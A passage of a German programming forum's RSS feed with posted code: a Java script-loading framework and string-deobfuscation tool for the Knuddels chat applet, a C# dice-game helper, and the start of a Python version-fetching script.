&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; invocable.invokeFunction(name);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; invocable.invokeFunction(name, args);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }, delay);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return timer;<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public Object getProperty(String key) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return properties.get(key);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public void setProperty(String key, Object value) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (properties.containsKey(key)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; properties.remove(key);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; properties.put(key, value);<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>ScriptHolder.java</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.File;<br />
import java.io.FileReader;<br />
import java.io.IOException;<br />
import java.util.HashMap;<br />
import java.util.Map;<br />
import java.util.Properties;<br />
import javax.script.ScriptEngine;<br />
import javax.script.ScriptEngineManager;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class ScriptHolder {<br />
&nbsp; &nbsp; private static ScriptEngineManager manager;<br />
&nbsp; &nbsp; private static Map&lt;String, ScriptEngine&gt; inputScripts;<br />
&nbsp; &nbsp; private static Map&lt;String, ScriptEngine&gt; outputScripts;<br />
&nbsp; &nbsp; private static ScriptEngine commandScript;<br />
<br />
&nbsp; &nbsp; static {<br />
&nbsp; &nbsp; &nbsp; &nbsp; manager = new ScriptEngineManager();<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static void load() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; inputScripts = new HashMap&lt;String, ScriptEngine&gt;();<br />
&nbsp; &nbsp; &nbsp; &nbsp; Properties inputProperties = new Properties();<br />
&nbsp; &nbsp; &nbsp; &nbsp; FileReader inputReader = null;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; outputScripts = new HashMap&lt;String, ScriptEngine&gt;();<br />
&nbsp; &nbsp; &nbsp; &nbsp; Properties outputProperties = new Properties();<br />
&nbsp; &nbsp; &nbsp; &nbsp; FileReader ouputReader = null;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inputReader = new FileReader(&quot;scripts/input/opcodes.properties&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inputProperties.load(inputReader);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ouputReader = new FileReader(&quot;scripts/output/opcodes.properties&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outputProperties.load(ouputReader);<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; } finally {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (inputReader != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inputReader.close();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (ouputReader != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ouputReader.close();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (IOException e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (String key : inputProperties.stringPropertyNames()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (new File(&quot;scripts/input/&quot; + key + &quot;.js&quot;).exists()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ScriptEngine engine = manager.getEngineByName(&quot;JavaScript&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ScriptManager script = new ScriptManager(engine);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; engine.put(&quot;script&quot;, script);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; script.load(&quot;input/&quot; + key);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inputScripts.put(inputProperties.getProperty(key), engine);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (String key : outputProperties.stringPropertyNames()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (new File(&quot;scripts/output/&quot; + key + &quot;.js&quot;).exists()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ScriptEngine engine = manager.getEngineByName(&quot;JavaScript&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ScriptManager script = new ScriptManager(engine);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; engine.put(&quot;script&quot;, script);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; script.load(&quot;output/&quot; + key);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; outputScripts.put(outputProperties.getProperty(key), engine);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (new File(&quot;scripts/command.js&quot;).exists()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commandScript = manager.getEngineByName(&quot;JavaScript&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ScriptManager script = new ScriptManager(commandScript);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; commandScript.put(&quot;script&quot;, script);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; script.load(&quot;command&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static ScriptEngine getInputScript(String opcode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return inputScripts.get(opcode);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static ScriptEngine getOutputScript(String opcode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return outputScripts.get(opcode);<br />
&nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; public static ScriptEngine getCommandScript() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; return commandScript;<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div><b>Sample</b> (Command Script)<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">ScriptEngine engine = ScriptHolder.getCommandScript();<br />
<br />
if (engine != null) {<br />
&nbsp; &nbsp; try {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (((Invocable) engine).invokeFunction(&quot;parse&quot;, new Object[] { param1, param5.substring(1).split(&quot; &quot;) }) == Boolean.TRUE) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; } catch (Exception e) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Hoffentlich finden sich in Zukunft mehr Interessenten, bisher haben sich relativ wenige von euch hierfür interessiert, dabei ist es so einfach.<br />
__________________<br />
Ich soll dir sagen, dass du weniger spammen sollst. Entweder sagst was, das zum Thema passt, oder du hälst die Klappe!</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-scripts-31734</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Fifty! Script by Fred]]></title>
			<link>sourcecode-91/c-fifty-script-by-fred-30246?goto=newpost</link>
			<pubDate>Thu, 17 Feb 2011 12:58:11 GMT</pubDate>
			<description>Moin, 
 
hier habt ihr das Fifty! Script von Fred, womit ihr die bestmöglichen Würfel ausrechnen könnt. 
 
 
PHP: 
--------- 
using System; 
using...</description>
			<content:encoded><![CDATA[<div>Moin,<br />
<br />
hier habt ihr das Fifty! Script von Fred, womit ihr die bestmöglichen Würfel ausrechnen könnt.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /><br />class&nbsp;</span><span style="color: #0000BB">Fiftyscript<br /></span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;Fufty</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;input</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;zielzahl</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;risk</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">myList&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">wuerfels&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Wuerfel</span><span style="color: #007700">(</span><span style="color: #0000BB">input</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;wuerfelanzahl&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">wuerfels</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">wuerfelanzahl&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;ergebnis&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;tmp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string&nbsp;myergebnis&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"/d&nbsp;"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">wuerfelanzahl</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&gt;=&nbsp;-</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tmp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">wuerfels</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tmp&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">Convert</span><span style="color: #007700">.</span><span style="color: #0000BB">ToInt32</span><span style="color: #007700">(</span><span style="color: #0000BB">ergebnis</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">tmp&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">zielzahl&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">risk</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">myList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">wuerfels</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ergebnis&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">Convert</span><span style="color: #007700">.</span><span style="color: #0000BB">ToInt32</span><span style="color: #007700">(</span><span style="color: #0000BB">wuerfels</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">int&nbsp;c&nbsp;in&nbsp;myList</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">myergebnis&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">Convert</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">(</span><span style="color: #0000BB">c</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #DD0000">"+"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">myergebnis&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">myergebnis</span><span style="color: #007700">.</span><span style="color: #0000BB">Remove</span><span style="color: #007700">(</span><span style="color: #0000BB">myergebnis</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">myergebnis</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">Wuerfel</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;input</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">tempList&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">inits&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">input</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">','</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(var&nbsp;</span><span style="color: #0000BB">i&nbsp;in&nbsp;inits</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tempList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">Convert</span><span style="color: #007700">.</span><span style="color: #0000BB">ToInt32</span><span style="color: #007700">(</span><span style="color: #0000BB">i</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">mixedList</span><span style="color: #007700">(</span><span style="color: #0000BB">tempList</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">mixedList</span><span style="color: #007700">(List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">myInt</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">tempmrandom&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">myInt</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Random</span><span style="color: #007700">().</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">myInt</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tempmrandom</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">myInt</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">myInt</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">tempmrandom</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Anwendung:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Fiftyscript.Fufty(Würfel, Zielzahl, Risiko);</code><hr />
</div>Beispiel:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Fiftyscript.Fufty(&quot;4,4,4,6,6,8,8,10,12,20&quot;, 30, 6);</code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-fifty-script-by-fred-30246</guid>
		</item>
		<item>
			<title><![CDATA[[Knuddels] Utilities]]></title>
			<link>sourcecode-91/knuddels-utilities-31340?goto=newpost</link>
			<pubDate>Wed, 16 Feb 2011 15:40:47 GMT</pubDate>
			<description><![CDATA[Hallo, 
 
hier findet ihr ein paar nützliche Sources zum analysieren und arbeiten mit dem Knuddelsapplet. 
* 
Strings dekodieren [Java]:* 
 
Code:...]]></description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
hier findet ihr ein paar nützliche Sources zum analysieren und arbeiten mit dem Knuddelsapplet.<br />
<b><br />
Strings dekodieren [Java]:</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.*;<br />
import java.lang.reflect.Method;<br />
import java.util.regex.Matcher;<br />
import java.util.regex.Pattern;<br />
<br />
public class replace {<br />
&nbsp; &nbsp; public static void main(String[] args) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; String fileName = args[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; try{<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileInputStream fis2 = new FileInputStream(fileName);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DataInputStream input = new DataInputStream (fis2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FileOutputStream fos2 = new FileOutputStream(fileName + &quot;.fixxed&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DataOutputStream output = new DataOutputStream (fos2);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class&lt;?&gt; c = Class.forName(args[2]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class[] argTypes = new Class[] { int.class };<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method main = c.getDeclaredMethod(&quot;a&quot;, argTypes);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;  String str;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (null != ((str = input.readLine()))) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Pattern pattern = Pattern.compile(args[2] + &quot;.a\\((\\d+)\\)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Matcher matcher = pattern.matcher(str);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (matcher.find()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int mainArg = Integer.parseInt(matcher.group(1));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String resp = (String) main.invoke(null, (Object)mainArg);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str&nbsp; = str.replace(matcher.group(), &quot;&quot;&quot; + resp + &quot;&quot;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str += &quot;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output.writeBytes(str);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; } catch(Exception ex) { ex.printStackTrace(); }<br />
&nbsp; &nbsp; }<br />
}</code><hr />
</div>Aufruf:<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">java replace <i>Source.java qJ</i></code><hr />
</div>Source.java mit eurem dekompiliertem Knuddelscode ersetzen und qJ mit der aktuellen Resourcenklasse des Applets.<br />
<br />
<b>Aktuelle AppletVersion [Python]:</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">#!/usr/bin/python<br />
import urllib<br />
<br />
# Knuddels Version Grabber by KrT<br />
# 02/15/2011<br />
<br />
def main():<br />
&nbsp; &nbsp; print 'KnuddelsApplets:'<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; srcDE = getString('http://knuddels.de')<br />
&nbsp; &nbsp; srcTS = getString('http://testserver.knuddels.de/applet.html')<br />
<br />
&nbsp; &nbsp; posTS = srcTS.find('?') + 1<br />
&nbsp; &nbsp; verTS = srcTS[posTS:posTS+5]<br />
&nbsp; &nbsp; <br />
